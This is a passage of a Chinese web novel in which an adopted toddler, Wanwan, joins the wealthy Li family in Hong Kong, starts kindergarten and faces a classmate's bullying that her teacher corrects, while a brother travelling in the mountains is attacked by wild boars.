一旁的黎墨城眼刀子先飞过来，黎墨冰当做没看见，伸出手就把小婉婉抱过去了。 小婉婉也在被他抱起来的时候，用小手圈住了他的脖子。 而黎墨冰只用轻松的凭着逆天的颜值，就足以俘获小婉婉的审美。 “二哥哥，你也要跟婉婉一样留长头发，梳漂亮的小辫子？”小丫头眨着大眼睛，对着他好看的脸就是一阵大大方方的欣赏。 “哎呦，婉婉是在哥哥肚子里放小虫子吗？连我想什么都知道。”黎墨冰被她逗得眼角挤出了笑纹，抱着她就去了院子的另一边。 黎老夫人本来只是想给他抱一下的，没想到又是一个抱住了就不撒手的！ 在看着旁边黑脸关公似的黎墨城，懒得跟他们抢了。 “行了，既然你们回来，就在这里陪着婉婉吧，我去书房把婉婉的户口放在保险柜里，密码你记得，还是原来那个。” “嗯。”黎墨城答应一声，起身向院子另一边走去。 他没有黎墨郢那么强的占有欲，不至于霸道的只允许婉婉跟自己玩。 见黎墨冰哄小婉婉玩得正开心，于是自己也参与进去，提议玩躲猫猫。 “好，我最喜欢玩躲猫猫。” 小婉婉一下就盼回来两位哥哥，还一起陪她做游戏，可以说，今天是自从黎墨郢走后，她度过得最开心的一天。 …… 黎墨城和黎墨冰陪小婉婉一玩就到了晚上，黎老夫人派佣人过来喊他们吃饭，说为了庆祝婉婉正式成为黎家的一份子，交代他们必须全都过去。 黎墨城见小婉婉玩的满头大汗，便吩咐王妈先带她洗个澡，他自己也要回院子里换身衣服，打理一下个人卫生。 一个小时后，黎墨城过来接上婉婉，两个人神清气爽的去了老夫人的院子。 今晚黎老爷也早就过来了，小婉婉户口落成，还改成了他的姓氏，这下彻底成了他的孙女儿了。 老人家欣喜之余，开了瓶茅台，打算喝上两盅。 “人都到齐了吗？还有谁没过来？”黎老爷看见满桌子佳肴，有些迫不及待的问。 黎老夫人回道：“还有墨冰和张南，我让墨冰带相机过来，一会儿给咱们照几张照片留念，还是等一等他们吧。” 黎老爷点了点头，耐心的等了一会儿，张南和黎墨冰前后脚到来。 黎老爷见到张南，脸上还挂着几分慈祥的模样，尽管她另外的几个孩子让人气愤，但仍然感念她当初选择了婉婉带来港城，才给他们黎家带来这么多福气。 直到他的目光落在黎墨冰那头半长不短的头发上，当即虎起脸，眯缝着眼睛像被什么刺到一样。 “你蓄那一头长毛是要做女人？那就干脆一点儿，你联系不到变性的医生，我亲自帮你找！” 黎墨冰将照相机放在桌上，拉开椅子，漂亮的桃花眼弯成月弧，真别说，那张妖孽惑人的脸，呈现出一种雌雄难辨的美感。 “阿爷，这您就不懂了吧？我这走的是中性赛道，欧美那边就流行这个类型。” 说着，他还特意用手指绕着额前的碎发晃了晃。“阿爷您看，这发型多显脸小，走在街上碰到外国友人，都得夸我是时尚先锋。” “什么花里胡哨的东西，还时尚先锋，宫廷里的太监还差不多！”黎老爷气得猛往杯里倒了一杯白酒，指着黎墨冰下通牒：“明天赶紧去给我把头理了，再让我看见你这半男不女的造型，当心老子剥了你的皮！” 黎墨冰上一回挨的家法印子还没消，这回可不敢再贫嘴。 点了点头，生无可恋的道了句：“是，阿爷。”拿起筷子，默默的开始吃饭。 黎老爷白了他一眼，转而落在小婉婉的脸上，换了副面孔。 就连语气都颇带着讨好：“小婉婉今天有了户口，开心不开心呀？” “嗯，开心！”小婉婉吃着黎墨城给她剥的螃蟹，小脑瓜一点一点的。 “开心就好，以后你可就是黎家人了，要记得，别人问你叫什么名字，不要说错记住了吗？” “嗯嗯，我记住了。” 小婉婉乖巧的回话，黎老爷当即“哈哈”大笑几声，看向老夫人右手边的张南：“我们临时决定给婉婉落户口，忘记跟你商量，所以今天叫你过来，是跟你说一声。反正婉婉以后也跟我们是一家人，所以改姓黎，你没意见吧？” “没有。”张南神色激动，身体殷切的向前探了半寸。 他和老夫人给婉婉落户又改姓，说明正式接受了婉婉，这对没有给黎立轩生下一儿半女的她来说，只有好处没有坏处! 之前她还一直在担心，自己的另外几个孩子来港惹下麻烦，会连累到自己在黎家的处境。 现在看，她已经不需要忧心，就算她跟黎立轩不去登记，只要她的女儿姓黎，那么她也算是名副其实的五姨太！ 至于童建洲那边…… 一切都已经尘埃落定，他不管愿不愿意，又有能力改变什么？ 第73章 还有脸哭 随着婉婉户口的落实，老夫人答应婉婉让她入学，也说到做到了。 清晨，小婉婉起来得特别早，穿着粉白色的公主裙，小皮鞋，等到王妈给她梳好麻花辫，立刻就背上小书包，倒腾着小腿，去隔壁找黎墨城。 “大哥哥，我今天就要去上学了哦，是皇家学园的中二班。” 随着港城教育与国际接壤，家庭有条件的孩子从两周岁起，就该上启蒙班了。 因为内地教育的滞后性，婉婉在那个家里又常常被忽略，连一天育红班都没有上过。 这也就导致她的年级已经不能从头学起了，只能插班到中班。 好在现在还没到正式开学的日期，老夫人给她报名的是一所国际学校，下到启蒙教育，上至高级中学，都包含在内。 小婉婉就读的中班，也是暑期特修班，想要利用假期继续学习的孩子，都可以自主报名参加。 黎墨城从昨晚睡觉前，就已经听她念过几次，到此刻看着她大眼睛里的兴奋，满脸宠溺地走了过来。 “既然是第一天上学，让大哥哥送你去怎么样？” 他记得老夫人昨天办理好了入学手续，但是并没有安排谁去接送。 小婉婉早就已经迫不及待了，听到黎墨城要送她，连忙点头：“好呀。” “那你在这里等我，我去准备一下。” “好。”小婉婉乖巧答应。 就在黎墨城刚走进房间，黎墨冰从院子口进来，前天被老爷子警告过发型，昨天他赶忙去理了一头干净的短发，而且难得他今天穿了件白色的衬衣，整个人看起来清爽又干净。 “小婉婉，我一猜你就在这儿呢，走，二哥送你上学去。”黎墨冰蹲下，把小婉婉抱起来，直接往外走。 小婉婉想起自己刚跟黎墨城约定好，挠了挠头，犯了难：“可是二哥哥，大哥哥要送我去。” 黎墨冰自顾“嗐”了一声，往黎墨城的房间看了一眼，睁眼说瞎话：“大哥一会儿要去工作，咱们不麻烦他，二哥送你就行。” 小婉婉不疑有他，于是就这么被他抱走了。 黎墨冰怕黎墨城追上来，步子迈得很大。 他之所以要争抢着去送小婉婉上学，也是因为他住的院子离她较远，如果他不特意过来，平时都没什么机会跟她见面。 如果能每天接送她上下学就不一样了，每天早晚都能见一面，正好可以联络感情！ 可惜黎墨冰千算万算，忽略了一件事。 黎墨城开着车，连油门都不用踩到底，银刺座驾就截住他的去路。 黎墨城降下车窗，沉着俊脸，危险的睨着他：“去我個院度偷细路，黎墨冰，你有料到？” 黎墨冰被威胁，也丝毫不见做‘贼’的慌乱，而是皮笑肉不笑的掀开唇角：“大哥，我是考虑你工作繁重，这不是想着替你分担嘛！以后婉婉上下学都由我来接送，免得你太辛苦。” “替我分担？说的好听，我记得半年前你就因为违章，被吊销了驾照。” 黎墨冰：“……” “把婉婉给我，我先跟她约定好的。”黎墨城下了车，对小婉婉伸出双手。 眼看着小婉婉要去找黎墨城，黎墨冰不甘心向后退了一步，拉开他和婉婉之间的距离。 “大哥，你要说约定，那我刚才也跟婉婉约定过，驾照吊销我还有司机，这点小事，真的不用你费心。” “黎墨冰，我最后说一遍。”黎墨城不想吓到婉婉，没法黑脸，只能压低声音，暗戳戳警告。 黎墨冰吃准他不会翻脸，唇边勾着一道欠嗖嗖的坏笑，直接打开后车门，抱着婉婉坐了进去。 “既然大哥非要跑一趟，那今天就辛苦你给我们做一天司机啦。” 黎家人谁不知道，在争宠这方面，黎墨冰深得生母亲传。论心机，他要跟谁玩心眼，十个有八个都要在他手里吃亏。 而这些年若不是他彩衣娱亲，获得黎立轩的信任，黎家的产业，根本轮不到他这个庶出的儿子沾手。 “让我给你做司机，哪来的脸？下去！”黎墨城终于忍不住，低声呵斥。 黎墨冰哂笑：“大哥，你再耽搁，婉婉上学可就要迟到了。” “到底谁在耽搁？” 就在兄弟二人为了争抢送婉婉上学，争执不休的时候，后面又一辆黑色奔驰车开了过来。 黎老夫人打开车门，没有下车，把他们两个一块凶了一顿。 “我一会儿没看住，你们就把婉婉给我带走？快点给我，今天你们俩都不用，我跟你阿爷亲自送她上学！” 黎墨城+黎墨冰：“……” 兄弟俩起个大早，却赶了个晚集。 听到老夫人命令，黎墨冰不敢违逆，老老实实的从车上下来，将小婉婉交给她。 黎老夫人白了他们一眼，吩咐司机：“开车师傅，两个老大不小的，一天天还给我添乱！” 车子开走后，小婉婉就被放到了黎老爷和老夫人的中间。 考虑到她是第一天上学，两位长辈怕她会不适应，给她说起了需要注意的安全事项。 “婉婉，你记住，学校里如果有人欺负你，就告诉老师，一定不能让自己受委屈，知道不知道？” “还有吃饭的时候，要吃的饱饱的，午休的时候也要盖好小被子，别着凉了。还有……” 小婉婉听完了左边，又去听右边，小脑瓜不停的一直点。 终于，学园的大门口到了。 “阿爷、阿奶，拜拜哦，婉婉会想你们的。”小婉婉被园长拉着小手，站在车子侧面，对两位长辈挥手道别。 黎老夫人看着小小的人儿，背着大大的书包，心头浮现出浓浓的不舍。 “婉婉，放学不要乱跑，等着我们来接你，听见了吗？” 学园的园长适时的接话：“您放心，我们学园有全面的安保系统，只要家长保管好接送证件，凭它来接送孩子，就不会丢。” “好，好吧。”黎老夫人点头，依依不舍的目送着小婉婉进入学园。 等到小家伙的身影看不见后，她再也无法克制心头的不舍，捂着脸开始掉眼泪。 黎老爷早就因为她没跟自己商量，就安排婉婉上学而不爽，当即抱怨起来：“不是你让她去上学的吗？还有脸哭！” 对此，黎老夫人一脸委屈：“是婉婉想要上学，我当然要支持她了！” 黎老爷没再接话，总的说来，婉婉有自主的求学意识，是一件好事，他们作为家长，即便舍不得，也不能拖累她上进的脚步。 第74章 大家好，我叫黎婉婉 小婉婉被园长带到了二楼中班教室，将她交给一位名叫刘祖玉老师手里。 刘祖玉带着她走到了讲台上，拍了拍手。 “小朋友们快坐好啦，我们班今天来了一位新朋友哦。” 讲台下面，二十来个小脑瓜‘刷’的抬起来，他们身上都穿着学园园服，白色的衬衣，红色的短裙或者短裤，领口是一条与裙子颜色统一的精致领结，每个人的胸口处，也统一佩戴着学园的园徽。 此时他们正在进行晨间的自由活动，有趴在桌子上画画的、攥着积木搭房子的、看书的，全都停下手，圆溜溜的眼睛落在小婉婉的身上。 这时，坐在中间一排的小女生，迫切的举起了手。 刘祖玉以为她有什么要紧的事，叫了她的名字：“王羽珊，你有什么事？” 小女生站了起来，提出一个任谁都能看得见的问题：“报告老师，她没有穿园服。” 王羽珊在平时就喜欢打小报告，刘祖玉已经说过她很多次，今天更是连这么一点细微的事情都要报告，对她有些无语。 “我知道王羽珊，这个小朋友是新来的，她还没有发园服，你还有别的事情吗？” 王羽珊摇了摇头，似乎是不满于老师对她的冷淡，撅着小嘴儿坐了回去。 她定定的看着刘祖玉，见她耐心的和新同学说话，还不惩罚她没穿园服，气得小脸儿都愠红了。 “小朋友，你向大家介绍一下自己好不好？”刘祖玉蹲下来，怕小婉婉不习惯陌生的环境，一步一步的引导她，和班里的孩子们成为朋友。 却没想到，接下来小婉婉的表现，让她发觉自己完全没必要担心。 只见小婉婉点了头之后，大大方方的向前走了一步。 “大家好，我叫黎婉婉，今年三岁半了，家住在山上。”她的声音洪亮，但听着又不刺耳，就是小孩子中气十足的嗓音。 她一开口，刘祖玉就愣了一下。 尽管她在教学的过程中，鼓励大家都说普通话，但始终无法避免口语环境带来的影响，或多或少都带着港城口音。 而黎婉婉一开口，就是一口标准的普通话，且咬字清楚，光是听着就让人舒适。 就像是——隔着遥远的海岸，拥抱着朝思暮想的同胞。 刘祖玉老师激动的带头鼓起了掌。 “黎婉婉说的真好，大家鼓励她一下！” 随着刘祖玉的带领，台下的小朋友们纷纷热烈的鼓起了掌。 王羽珊心不甘情不愿，但看所有人都鼓掌了，她就勉为其难的，拍了拍手。 之后，刘祖玉又叮嘱小婉婉，和班里的同学好好相处，便按照身高，给她安排到了中间第四排的位置，刚好在王羽珊的侧前方。 “现在我们开始上课，同学们谁能回答老师一下，昨晚让你们回家做的科学小实验，大家都总结出了什么道理呢？” 小朋友们争着举手回答问题，王羽珊刚才被老师冷淡，现在恨不得整个人都爬到桌子上，大喊着“我我”吸引刘祖玉的注意力。 刘祖玉怕她过于亢奋，从桌子上摔下来，只好先点了她的名字。 “王羽珊，你来回答吧。” 王羽珊在所有同学的瞩目中，骄傲的翘着小嘴，开口之前，炫耀般的看了眼小婉婉。 “老师我在科学实验中总结了……” 王羽珊啰嗦的说了好久，把几个小朋友都说困了，刘祖玉不得不直接认可了她的回答，让她坐下。 这么一耽搁，十几分钟就过去了，刘祖玉又找了两个小朋友回答问题，接下来，便是教大家学写字。 “所有小朋友拿出你们的练习本，我们今天学习写‘国’字。” 刘祖玉拿着铅笔，一笔一划的将‘国’字写在黑板，然后她又讲了笔顺，开始让小朋友们练习。 小婉婉一手握着铅笔，趴在课桌上，写的非常努力。 刘祖玉走过来观察了一会儿，发现她只是写出了字的形状，占格还有笔锋都不对，便蹲下来，问出课前徘徊在心头的问题。 “婉婉宝贝，你刚才介绍自己，说你的家在山上，之前一直都在内地吗？” 小婉婉听见刘祖玉的声音，才发现她的存在，由于一直在专心学习，对老师的问题，也只听见了最后一句。 问她是不是一直在内地？ 小婉婉想到过去的家，难免想到欺负她的哥哥姐姐们。 她小嘴儿不开心的抿着，点了点头：“是的，刘老师。” 刘祖玉观察她的表情，察觉到她脸上细微的变化，误以为她是想念内地的家人。 也许是因为原来家里发生了变故，或者生活太贫困，才被港城人收养的。 她这么晚接受教育，同班的孩子都已经学会从1数到100，字也认识很多，而她却一点都不会，不禁对她产生了一丝同情。 心说，这些被落下的功课，都必须要尽快补上才行，这样她才不会感到自卑。 “你刚刚开始学习，跟大家有差距是正常的，老师重头教你，先写笔画吧。”刘祖玉看着小丫头乖巧的模样，就忍不住的喜欢。 非但没有怕麻烦，还特别耐心的从基础教起。 很快，刘祖玉就发现，小婉婉的学习能力很强，她在教了一个笔画后，她写了三遍就记住了。 紧跟着，她趁着课上最后一点时间，又多教给她两个笔画。 就在刘祖玉的侧后方，王羽珊在看见刘祖玉只辅导黎婉婉一个人后，刚刚回答问题满足的虚荣心，瞬间降到了谷底。 不就是一个内陆来的乡巴佬，她凭什么被刘老师喜欢？ 王羽珊回想黎婉婉介绍自己的时候，说她家是在山上。 那不就是妈咪常常挂在嘴边，如果在外面乱跑，就会被人牙子拐卖去的地方吗？ 妈咪说那里很穷，人都住在破烂的房子里，不仅衣服上都是洞洞，还整天脏兮兮的，从泥土里找食物，还每天都不洗脸刷牙。 王羽珊光是想一想就很恶心。 她才不要和这样的人做朋友！ 叮铃铃，下课的铃声响了，刘祖玉组织小朋友们一起出去做课间活动。 因为小婉婉是新来的，还没有分配小组，就点到了一个小女生的名字。 “曲飞飞，今天和你一起的刘凯请假了，一会儿你和黎婉婉临时组成一队。” 名叫曲飞飞的小女生刚要答应，这时，王羽珊在旁边“哼”了一声。 用仅能被周围几个人听见的声音小声说道：“曲飞飞，你要是和乡巴佬一个小组，那你以后也是乡巴佬！不准再跟我一起玩！” 第75章 婉婉学会数数了 王羽珊平时喜欢表现，也是有原因的。 三岁多的孩子或许还不理解什么叫‘红人’，但是她透过经验总结出了一个道理。 那就是，常常获得老师夸奖的孩子，在班里就会很受欢迎。 王羽珊就是利用自己总结出的道理，拉拢了全班的小朋友拥护她。 名叫曲飞飞的小女孩儿一听王羽珊以后不跟她玩了，立刻眼圈发红的站起来说道：“老师，黎婉婉是乡巴佬，我才不要跟她一个小组呢！” 曲飞飞的‘乡巴佬’三个字一出口，全班的小朋友全都咯咯的笑了起来。 而王羽珊也达到了她的目的，她就是要全班的小朋友都离那个乡巴佬远远的，谁都不跟她做朋友！ 刘祖玉为人师表，带过很多届毕业的孩子，并不是第一次碰见排挤同学的情况。 尤其是像他们这些出生在富贵人家的孩子们，别看他们还小，大多在父母的是非观影响下，最容易瞧不起条件不好的同学。 让她记忆最深刻的，是曾经有一个跟黎婉婉情况类似的小男孩，就被班里的几个同学联合欺负，不是在他的书桌里放乱七八糟的东西，就是把他的东西弄脏、弄坏。后来最严重的一次，他们在上课前将小男孩儿关进女厕所，迫不得己从二楼的窗户跳下去。 虽然小男孩儿没有生命危险，可也摔断了一条腿，落下了终身残疾。 这是刘祖玉最悔恨自己工作失职的一次，直到现在，她还活在深深的懊悔之中。 此刻，这些孩子们竟然在黎婉婉上学的第一天，就公然排挤，如果不加以纠正，她很怕会悲剧重演。 她来到黎婉婉身边，看得出她听懂了大家的嘲笑，先是抬起手，心疼的摸了摸她的头。 而后她严厉的看向所有的小朋友，最后目光锁定曲飞飞，严肃的开口：“你怎么可能这么说同学呢？老师一直在说，我们是一个集体，要团结友爱，不管谁怎么样，来自哪里，都应该被尊重，如果换做今天有人这样嘲笑你，你会开心吗？” 曲飞飞被老师教育，脸一下子涨红，两只小手无措的盘在一起，慌张之余，她只能选择把要挟她的王羽珊给卖了。 “老师，是王羽珊说黎婉婉是乡巴佬，如果跟她一个小组，我就成了乡巴佬，她以后都不跟我玩喏！” 说完，曲飞飞双手揉着眼睛，哭了起来。 刘祖玉听到又是王羽珊在捣乱，太阳穴隐隐作痛，既无奈又失望的向王羽珊看去。 “王羽珊，是你说的？” 此刻，全班小朋友望着刘祖玉严肃的表情，都收敛起了刚才的嘲笑，而是认真听着刘祖玉的话，眼神都清明了不少。 王羽珊刚才见过刘祖玉批评曲飞飞，如果她承认的话，那接下来肯定要批评自己。 所以她直接摇头否认了：“报告老师，我没有说。” “有！老师就是王羽珊说的，呜呜呜。”曲飞飞通红着小脸儿，泪珠噼里啪啦的更委屈了。 王羽珊气得不行，一跺脚，从位置上站起来抱怨：“曲飞飞，你自己挨骂就算了，为什么还要把我给说出来，让我跟你一起挨骂？” 这下，刘祖玉可以肯定，就是王羽珊在欺负新来的同学。 “王羽珊，你犯了错不先反省自己，怎么还怪曲飞飞说了实话？还敢今天的表现让老师很失望！” 王羽珊被刘祖玉严厉批评，死要面子的她，“哇”的一声哭了。 因为生日月份小的关系，她入学比同班的小朋友晚了一年，是以心智要比他们都灵活。 当下，她就抱住了刘祖玉的大腿，哭着认错：“老师对不起，我错了咕咕咕。” 刘祖玉见她这么快承认了错误，脸上的严肃缓和了一些。 她蹲在地上，一手着黎婉婉，另一只手拉住了王羽珊，耐心的跟她讲：“你真正该道歉的是黎婉婉同学，知道吗？” 王羽珊顶着哭得红彤彤的肿泡眼，重重的点头，含含糊糊的说了句：“对不起。” 小婉婉刚才被同学嘲笑，其实是有一点生气，但是看刘祖玉已经给她主持了公道，还批评了王羽珊，于是不等老师提醒，就大度的点了点头。 “没关系，王羽珊。” 她懂事的表现，让刘祖玉有种‘自己果然没有看走眼’的欣慰感。 脱口而出就是对她的称赞：“婉婉宝贝真棒！” 转而，对王羽珊则是严厉的叮嘱：“王羽珊，以后不可以再欺负人了，记住没有？” “我记住了，老师。”王羽珊把头点的像是磕头虫。 却在被刘祖玉让她回座位的时候，用力瞪向了曲飞飞。 因为这个插曲，课后的活动时间被占用，不得不取消了。 刘祖玉让她们有秩序的去洗手间，她则与助教老师一起全程陪同，谨防出现事后报复行为。 王羽珊入学以来，第一次被老师在全班面前批评教育，自尊心受到了很大打击。 是以，就算心里痛恨着出卖她的曲飞飞，和被老师维护的黎婉婉，她也不敢在做出什么过分的举动。 小婉婉入学的第一天，除了早上发生的那点不愉快，几乎整天都排满了丰富的学习和活动，很充实的就过完了。 放学的时候，黎老夫人和黎老爷手拿着接送牌，站在学园等候区域，在刘祖玉叫到‘黎婉婉家长’的时候，激动的跑了上去。 “哎呦，阿奶的乖宝贝，快点让阿奶抱抱！”黎老夫人盼到心心念念了一天的小人儿，立刻就将她抱了起来。 黎老爷则询问刘祖玉，今天黎婉婉的表现，以及有没有想家，或者在学校有没有受欺负等等。 刘祖玉本着团结友爱的原则，只说道：“早上发生了一点小摩擦，我已经批评过那个孩子，对方跟婉婉道过歉，您放心，婉婉没有受委屈。” 黎老爷并非蛮横无理的人，就连他家的几只皮猴，动辄还打到一起呢，别说一个班里有那么多小朋友。 于是他和蔼的点头，说：“小孩子相处发生摩擦是正常的，既然对方已经道歉，就可以了。” 刘祖玉又跟二老说了黎婉婉在学校的其他表现，以夸奖和鼓励为主，二老这才放心的将小婉婉带回家。 小婉婉一上车，就抱着自己的大书包，告诉二老：“阿爷、阿奶，我今天发了书本和校服，老师还留了作业哦。” 小婉婉谨记着，前几天黎墨黔因为不好好写作业，屁股被打开花的场景。 所以，她一定要好好的完成作业，不能让阿爷、阿奶生气。 小人儿自信满满的为自己打气的模样，逗得二老心情愉悦。 等她回到家里，第一时间就是搬出小板凳，坐在桌子上认认真真的练习写笔画，那副要强的小模样，更是让二老体会到了什么叫‘自豪’。 “看看小婉婉多用功，但凡家里那几个皮猴子有她一半，成绩也不至于让人操心！” 黎老爷附和：“就是，家里都让他们上最好的学校，平时还请师傅来教私课，就这样成绩才勉强能看！” 黎老夫人经过老爷子提醒，说道：“他们几个有的，婉婉也得安排上，这些日子就算了，等到正式开学，问问她哪一科需要补，给她也安排几个私教。” “嗯。” 小婉婉写完了作业，就收起了作业本，开始扒拉着十根手指头，练习数数。 “七、八、九、十，十一、十二、十……” 小丫头从一到十数的还算顺利，等到手指头不够的时候，慢慢的就开始困难了。 她不停的用手挠头上的呆毛儿，把两只可爱的小辫子都给弄乱了，就连粉嘟嘟的小鼻尖儿，都挂上了汗珠珠。 “阿爷，十二完了是几？” 黎老爷就在旁边坐着看她数，收到宝贝孙女儿的求助，他耐心的告诉她：“十二完了，当然是十三呀。” “十三……”小婉婉小嘴儿里数着数，可是又把刚才数到哪里给忘记了。 于是，只能对着小手指头，从头数起。 “一、二、三、四、五……” 小丫头虽然数得慢，但是任谁都看得出，她有在认真的学习。 黎老夫人和黎老爷不敢出声打扰，直到佣人过来通知可以开饭，黎老爷才握住小婉婉的两只小手，心疼的哄道：“婉婉今天学累了，先不数了，明天再继续。” “可是，老师让我先练习数到100个数呢。” “100个？那得数到多久去了？婉婉不怕，阿爷明天去告诉你们老师，让她少给你留点儿作业！”刚才还在鼓励小婉婉学习的老爷子，转个头因为看不得孙女儿受苦，就要护短了。 黎老夫人眉角微皱，心里知道老爷子这样只会拖后腿，可同样怕孙女儿累到的她，纠结了半天，还是把数落的话咽了回去。 她在心里安慰自己：学习是长久之计，不能一蹴而就！ …… 饭后，小婉婉继续坐在小桌子前，对着手指头卖力的练习数数。 黎老夫人好几次想要开口劝说，让她干脆留下来住算了，还没找到几回开口，黎墨城大步流星的带着一阵风走进门。 “阿奶，我过来接婉婉。” 黎老夫人当时板起脸，没好气的数落：“你一天到晚工作那么忙，哪有精力带好孩子，婉婉以后在我这里住，你回去歇着吧！” 黎墨城却告诉老夫人一个不好的消息：“受国情限制，内地那边的市场通道还是没有打开，爸决定暂时搁置，专心回港城发展，我也不用加班加点的忙，以后有空闲时间照顾婉婉。” “这次又失败了？”黎老爷听到这话，先是震惊，而后，似失落般接受了现实，透过黎墨城，看向了虚空中遥远的方向。 “好吧，有些事，确实不是只凭努力就可以完成。”闭上眼睛，黎老爷陷入长久的沉默当中。 “大哥哥！”小婉婉见到黎墨城，立刻就被分散了注意力，张开小手向他跑了过去。 黎老夫人见她那么喜欢黎墨城，也就不再强留她了，让她自己做选择。 “婉婉，今天晚上你是跟阿奶住，还是去大哥哥那儿呢？” 老夫人让小婉婉在她和黎墨城之间做决定，这可让小小的人儿为难了。 她纠结的挠了挠头上的呆毛，看看老夫人，又看看黎墨城，摇了摇头：“我不知道。” 黎老夫人一看自己有机会，刚要站起来争取把她留下，伴随着一道歌声传进耳朵，黎墨冰穿着黑色的龙纹衬衣，两手插兜的走了进来。 “呀，大哥也来了？”说着，黎墨冰径自跑到黎墨城身后，从后面刮了小丫头的脸蛋儿。“婉婉今天上学开不开心？” “开心。”小婉婉点头，在黎墨冰手再伸过来的时候，痒痒得发出‘咯咯’笑声。 黎老夫人看得脑瓜子突突疼，先一个黎墨城还没打发，这又来一个抢人的，怎么一天天都专盯着婉婉呢！ 最后，老夫人思虑了一番，在黎墨城和黎墨冰之间，选择了一个相对靠谱的，直接发令：“墨城，你把婉婉带到你那儿去吧，正好给她辅导作业。” “好的，阿奶。”黎墨城笑的满面春风。 一旁，黎墨冰见带娃的机会被抢走，连忙笑眯眯的凑上前打商量。 “阿奶，你跟阿爷年纪大了，每天奔波太辛苦，不如以后就让我跟大哥接送婉婉吧？” 有了早上失败的经验，黎墨冰退了一步，通过容纳对手的方式，为自己争取更多希望。 黎老夫人见他态度诚恳，便没再反对，将接送名牌拿出来交给他。 “那明天开始你和你大哥一起送婉婉上学，记住，路上开车慢些，确定婉婉进了学园再走。” 黎墨冰殷切的接过名牌，并保证：“阿奶放心，我一定配合大哥，保障婉婉安全。” 黎墨城已经得到了照顾婉婉的权利，也就不再跟黎墨冰争抢接送机会，一手抱着婉婉，一手拎着书包，回到东边自己的院子。 还没进入北门，南门的院子里，一只边牧犬便摇晃着大尾巴，兴奋的冲了出来。 “蓝采和。”小婉婉见到大狗狗出来迎接自己，开心的从黎墨城的怀里下地，小手在边牧犬翻开的肚皮上抚摸。 紧随其后，金毛巡回猎犬也咧着嘴，步履平稳的小跑过来，不同于边牧犬的亢奋讨好，它安静的坐在一旁，等着小婉婉去摸它。 黎墨城任由小婉婉跟两只大狗狗亲近，同时自己也和它们做了互动。 虽然是自己从各地带回来的狗，可是这两年都是黎墨郢帮他照看，已经渐渐不认自己这个主人了。 想到黎墨郢，黎墨城不喜欢他在家独占婉婉，可到底是自己一母同胞的弟弟，难免，还是会为他忧心。 也不知道他和孙师傅去游历得怎么样了…… 第76章 不准欺负三哥哥 山脊被夕阳线染成了暖橘色，几只灰麻雀扑棱棱的飞过灌木丛，带起一串细碎的声响。 吉普车沿着山路一直往北驰骋，一路都没有碰到什么村落，眼看着天要黑了，孙隆将车子停了下来。 “车子快要没油了，今天晚上咱们先在这里落脚，等到明天在附近转一转，看看能否找到加油点。” 说完，他看向坐在副驾驶位置的黎墨郢。 少年眉眼半闭半合，早就露出一副无趣的神色，在家被伺候惯了的阔少爷，别指望他主动干活。 孙隆自知命令不动他，只能看向坐在后排的黄衣男子。 “黄派道友，麻烦你下车帮忙撑个帐篷？” 黄衣男子同样露出一脸生无可恋的表情，他名叫祁山，并非孙隆口中的黄皮子大仙。而是一位散修的黄系道人，那日他在山中修行，正好碰到他们车子经过，通过观察发现黎墨郢天资非凡，有降龙之气压身，于是便起了‘借运’的念头。 结果运没借到就算了，还被他们害得被野狼撵了一路。 如果不是已经和黎墨郢缔结了讨封契约，他早就一走了之！ 好在黎墨郢的身份不同寻常，即便没有助他完成讨封，跟在他身边，同样也能受到他灵力的滋养。 所以哪怕充当一下苦力，他也不介意。 孙隆在祁山的帮助下，很快就将帐篷撑了起来，黎墨郢等到他们生好火，拿出食材烹饪的时候，才舍得从车里下来。 一路奔波过来，他的身形多了几分清瘦，却使他那张原本透着稚嫩的面孔，攀上了些许锋利。 “每天除了赶路就是逃亡，这就是你口中的历练！” 孙隆“哎”了一声，一连多日奔波下来，他也早见了疲惫。 “三少爷，如果没有后面的狼群，我们一开始就不会走错路，早就到了内地。现在赶路也是无奈之举，您再将就个两天，等到了灵气充沛之域，您便可以开始修行了。” “你不是说车子快要没油了！”黎墨郢看似什么都不做，实际上，大小事情都放在心里记着。 孙隆一想到这个也头大，于是将手里的烤肉交给祁山，他起身拂了拂袍子上的灰尘，说：“我先就近找一找，祁山道友，麻烦你帮我照顾下三少爷。” 祁山笑着露出两颗虎牙，轻松的点了点头：“你去吧。” 孙隆没有开车，只拎了个汽油桶，沿着山坡向下方走去，黎墨郢则进了帐篷，祁山将肉烤好后，先给他送了一盘进去。 “三少爷，我看车斗里剩下的食物也不多了，你在这里先吃，我在附近打点野味。” 祁山与孙隆一样都是独身出来游历，野外生存技能自然是点满的。 两个人最放心不下的还是黎墨郢，所以在离开前，他围绕着帐篷一圈，撒上了驱赶蛇虫的药粉，以及帐篷的后面也贴上了驱邪的符纸，叮嘱他一番后，才沿着周围活动。 黎墨郢吃完了烤肉，闭着眼睛靠着充气枕，听见山林里不断传来各种鸟类的叫声，不期然的，想起了能和鸟类沟通的小家伙。 有些牵挂，一旦在心里扎了根，只要你得到空闲，便会被触发。 他抬起手腕，看着表盘上缓慢走过的时间，出来已经五天了。 也不知道她在家里过得怎么样，会不会想他？ 有了别人的陪伴，又会不会把他给忘记了…… 轻轻的喟叹，在帐篷里回荡，黎墨郢刚合上的眸子，陡然睁开。 一种不属于他的呼吸，沉重的，呼哧呼哧，荡进耳朵里。 黎墨郢还没来得及起身，就听见祁山在丛林里的呼喊。 “三少爷，快！快跑！山里有野猪！” 黎墨郢早就习惯了逃亡，听见祁山的呼唤，本能起身跑到车子前，从后斗里拿出一只猎枪。 他不紧不慢的扣住扳机，瞄准祁山所在的位置，看见草莽晃动，他专注锁定目标，脸上不见一丝惊慌。 “三少爷，快上车，是一群野猪！” 饶是黎墨郢这一路碰到过不少危险，且遇到过野猪攻击，甚至还放倒过一只狗熊。 可成群的野猪，还是第一次碰见！ 眼看着祁山被野猪撵的狼狈不堪，身上的衣服都被野猪撕碎，脸上和身上到处都是伤痕，却用尽全力吸引野猪群的注意力，不让它们攻击黎墨郢。 “三少爷，你快开车走，要是我今天死在这儿，麻烦您允我个小成，我也算死得其所！”祁山爬到一棵树上，卖命的大喊。 黎墨郢没有退缩，更没有放弃他，瞄准了其中一只——砰！ 枪声响起。 山坳里的寂静轰然破碎，野猪应声倒地，却也吸引了野猪群。 粗重的喘息与獠牙剐蹭湿透的锐声，形成的那个黑压压的野猪阵，踏得地面都跟着颤抖。 黎墨郢攥紧腰间的刀，最前面的野猪已经扑到近前，腥臭的风裹着泥块扑面而来。 他侧身躲开后，爬上了车顶。 祁山见状，惊恐的从树上滑下来，想尽一切办法，吸引野猪群的注意。 